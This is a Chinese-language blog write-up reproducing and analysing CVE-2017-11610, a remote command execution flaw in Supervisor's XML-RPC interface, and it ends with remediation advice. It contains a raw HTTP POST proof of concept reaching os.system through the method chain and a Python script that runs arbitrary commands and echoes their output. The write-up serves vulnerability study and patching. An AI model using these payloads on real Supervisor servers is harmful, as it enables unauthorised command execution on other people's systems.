写在前面
因为工作中遇到了这个洞，简单了解后发现正好是py的源码，因此想依据前辈的分析做一下简单的代码分析，找到漏洞点。网上已经有很多类似的文章，这里只是自己做一下学习和复现，如有问题可以私信或评论。本人会第一时间解决。
Supervisord简介
Supervisor 是一个用 Python 写的进程管理工具，可以很方便的用来在 UNIX-like 系统（不支持 Windows）下启动、重启（自动重启程序）、关闭进程（不仅仅是 Python 进程）
Supervisor 是一个 C/S 模型的程序，supervisord 是 server 端，supervisorctl 是 client 端，简单理解就是client输入supervisor的指令调用server端的API从而完成一些工作，如进程的管理。
而Supervisor的Web的服务其实很多人会用的比较多，也就是supervisord的客户端，只要路由通，即可远程通过Web页面完成类似于supervisor的client端的操作。而通过Web界面的操作由XML-RPC接口实现，该漏洞也是出在XML-RPC接口对数据的处理上。
本次下载的是3.3.2版本的源码
链接：https://pypi.org/project/supervisor/3.3.2/#files
先简单看一下它的配置文件，重点看下面这些部分
[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris ; should be same as in [*_http_server] if set
;password=123 ; should be same as in [*_http_server] if set
;prompt=mysupervisor ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history ; use readline history if available
; The sample program section below shows all possible program subsection values.
; Create one or more 'real' program: sections to be able to control them under
; supervisor.
server端监听的是/tmp/supervisor.sock这个套接字，而client端的serverurl也是这个套接字，所以client端都是通过这个套接字并根据XML-RPC协议与server端进行的通信。另外，将 [inrt_http_server]中前面 ; 去掉即可开启Web服务，默认以TCP协议监听在9001端口上。（下面不开启用户密码认证，bind 所有网卡）
supervisor的web界面大概长这样。
利用条件
漏洞影响范围:
Supervisor version 3.1.2至Supervisor version 3.3.2
开启Web服务且9001端口可被访问
版本在漏洞影响范围内
密码为弱密码或空口令
漏洞利用
放上P牛的poc
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
访问页面抓包，cv这个poc进去，根据自己的环境稍作修改之后放包即可。
成功写入文件
wireshark的包
但是上面版本的poc是没有回显的。关于回显poc在vulhub的官方文档有提到
https://vulhub.org/#/environments/supervisor/CVE-2017-11610/
利用方式如下。
poc.py
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
这个点本文就不再重点探究，下面主要复现学习分析一下这个漏洞在代码层面上是如何产生的。
漏洞分析
既然知道是XML-RPC出了问题，那么通过程序入口点然后一点点去找处理XML-RPC请求的函数，看看它是如何实现的。
先看supervisord的启动文件supervisord.py
根据前辈的poc发现，是通过http请求发送的payload，所以跟进一下这里的 self.options.openhttpservers(self)
在options.py中定义了openhttpservers()方法
这里调用了 make_http_servers()方法，跟进一下
在ServerOptions类中定义了make_http_servers()方法，可以看到这个方法是从http.py中调用的，那么跟进看一下这个方法是如何实现的。
http.py中定义了 make_http_servers()方法
根据漏洞信息，已知是XML-RPC调用出现了问题，而 supervisor_xmlrpc_handler类就是处理RPC调用的，跟进看一下是如何实现的
在xmlrpc.py中定义了supervisor_xmlrpc_handler类
在此找到了漏洞纰漏的traverse方法，在supervisor_xmlrpc_handler类中定义了 call方法，该方法返回执行完 traverse(self.rpcinterface, method, params)函数的结果，
其中在traverse函数中传入了method，params ，跟进一下看看这两个参数是什么。
在supervisor_xmlrpc_handler类的 continue_request方法中发现 params, method = self.loads(data) 跟进下 loads方法。
在xmlrpc.py的最下面定义了loads方法，其将xml中的methodName和params的值分别赋值给了method和params，也就是我们上面漏洞利用过程发送POST请求时，POST请求中xml的标签名为methodName和params这两个标签的值。
比如下图中的method=supervisor.supervisord.options.warnings.linecache.os.system 和 params=touch /tmp/success2 ，正常情况下，methodName=supervisor.startProcess，params=要启动的服务名称
ok，method和params参数的含义解决了，下面跟进下traverse方法。
1、path = method.split('.') 以 . 作为分隔符对method字符串进行切片，切片的结果以列表形式赋值给path。例如 supervisor.startProcess 的结果为 ['supervisor', 'startProcess']
2、循环path，如果name的值不以 _ 开头，执行 ob = getattr(ob, name, None) , 如果name的值是方法名称，会将该方法赋值给ob。这里的for循环就像一个递归，ob会获取method列表中最后一个方法名称并在try语句里执行，比如method=supervisor.supervisord.options.warnings.linecache.os.system() 那么最后ob会获取system()并将参数params（要执行的命令）带入该方法执行并获取返回结果。
那么问题就出现在这里，在P牛的文章中也指出了：”官方开发者可能认为可调用的方法只限制在这个对象内部，所以没有做特别严格的白名单限制。” ，导致这里通过 self.rpcinterface 对任意的公共方法或递归子对象的公共方法的调用。
比如漏洞的发现者提出的调用链 self.rpcinterface.supervisor.supervisord.options.execve，因为这个poc使用时存在一些缺陷，P牛提出了一个其他的利用链（日常膜P牛）: supervisor.supervisord.options.warnings.linecache.os.system()这边跟一下看看：
首先在Options类中调用了warnings方法，跟进一下。
这里发现本来在上面直接import linecache 改到了 try里面，当时存在漏洞的代码是直接在上面import linecache的(比如vulhub靶场的源码)
跟进linecache，在linecache.py中调用了os模块。
其实这个漏洞在poc的实现与java反序列化的洞类似，都是一直寻找有类似于import os模块的地方调用system函数从而去达到执行命令的目的。
修复建议
1、升级supervisor版本
2、设置端口访问控制
3、设置复杂密码认证